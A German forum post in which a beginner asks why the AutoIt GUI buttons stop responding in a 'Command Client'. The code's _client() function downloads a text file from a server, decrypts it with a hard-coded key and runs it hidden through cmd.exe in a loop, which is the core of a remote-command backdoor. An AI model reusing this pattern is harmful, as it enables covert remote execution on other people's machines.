hallo leutz
ich bastel für ein privates projekt eine art client der cmd befehle empfängt. da ich was autoit angeht noch anfänger bin lacht nicht über den code.
jedenfalls: mein problem ist das wenn die funktion _client() aufgerufen wird checkt er ja nichtmehr ob buttons gedrückt werden wie beispielsweise der abbrechen button ($disconnectID) hab sogar so ein quatsch ausprobiert wie _client() IN _main() unterzubringen. wie man sich denken kann ohne erfolg
[autoit]#include <IE.au3>
#include <GUIConstantsEx.au3>
#include <AVIConstants.au3>
#include <String.au3>
Local $commandID,$connection,$modeID,$oldcommand,$statusID,$msg,$command
_Main()
[/autoit][autoit][/autoit][autoit]Func _Main()
[/autoit][autoit][/autoit][autoit][/autoit][autoit]GuiCreate("Command Client", 400, 200)
GuiSetIcon("cc.exe", 0)
GuiCtrlCreateAvi("sampleAVI.avi",0, 180, 30, 32, 32, $ACS_AUTOPLAY)
$statusID = GuiCtrlCreateLabel("Not Connected", 25, 103, 80, 15)
GuiCtrlSetBkColor($statusID, 0xCCCCCC)
$modeID = GuiCtrlCreateLabel("Standby", 160, 70, 80, 15)
$connectID = GUICtrlCreateButton("Verbinden", 120, 100, 60, 20)
$disconnectID = GUICtrlCreateButton("Abbrechen", 210, 100, 60, 20)
$commandID = GuiCtrlCreateInput($command, 10, 130, 380, 20)
;GUICtrlSetState(-1, $GUI_DISABLE)
GUISetState() ; display the GUI
Do
$msg = GUIGetMsg()
Select
Case $msg = $connectID
$connection = 1;
_client()
Case $msg = $disconnectID
$connection = 0;
GUICtrlSetData($modeID, "Standby")
EndSelect
Until $msg = $GUI_EVENT_CLOSE
EndFunc ;==>_Main
Func _client()
Local $connectID,$disconnectID
$download = InetGet("http://127.0.0.1/cc.txt","cc.txt",1)
$file = fileopen("cc.txt",0)
$command = fileread($file)
if StringInStr($command,"</ADDRESS>") OR $command = "" Then
GUICtrlSetData($modeID, "Not Found")
GUICtrlSetData($statusID, "Error")
GuiCtrlSetBkColor($statusID, 0xFF0000)
$connection = 0
ElseIf StringInStr($command,"<TR>") OR $msg = $disconnectID Then
GUICtrlSetData($modeID, "No Connection")
GUICtrlSetData($statusID, "Error")
GuiCtrlSetBkColor($statusID, 0xFF0000)
$connection = 0
Else
$command = _StringEncrypt(0,$command,"cocacola",10)
GUICtrlSetData($statusID, "Connected")
GuiCtrlSetBkColor($statusID, 0x00FF00)
if $oldcommand <> $command Then
GUICtrlSetData($modeID, "Recieving")
Run('"C:\WINDOWS\system32\cmd.exe" /C ' & $command,'',@SW_HIDE)
GUICtrlSetData($commandID, $command)
GUICtrlSetData($modeID, "Wait")
$oldcommand = $command
EndIf
EndIf
fileclose($file)
FileDelete("cc.txt")
if $connection <> 0 Then
sleep(2000);
_client()
EndIf
EndFunc
hab schon ziemlich viel rumexperimentiert. hab sogar wie zu sehen ist versucht die while schleife durch ein einfaches if blablubb Then "funktion wiederholen"
hoffe auf baldige antwort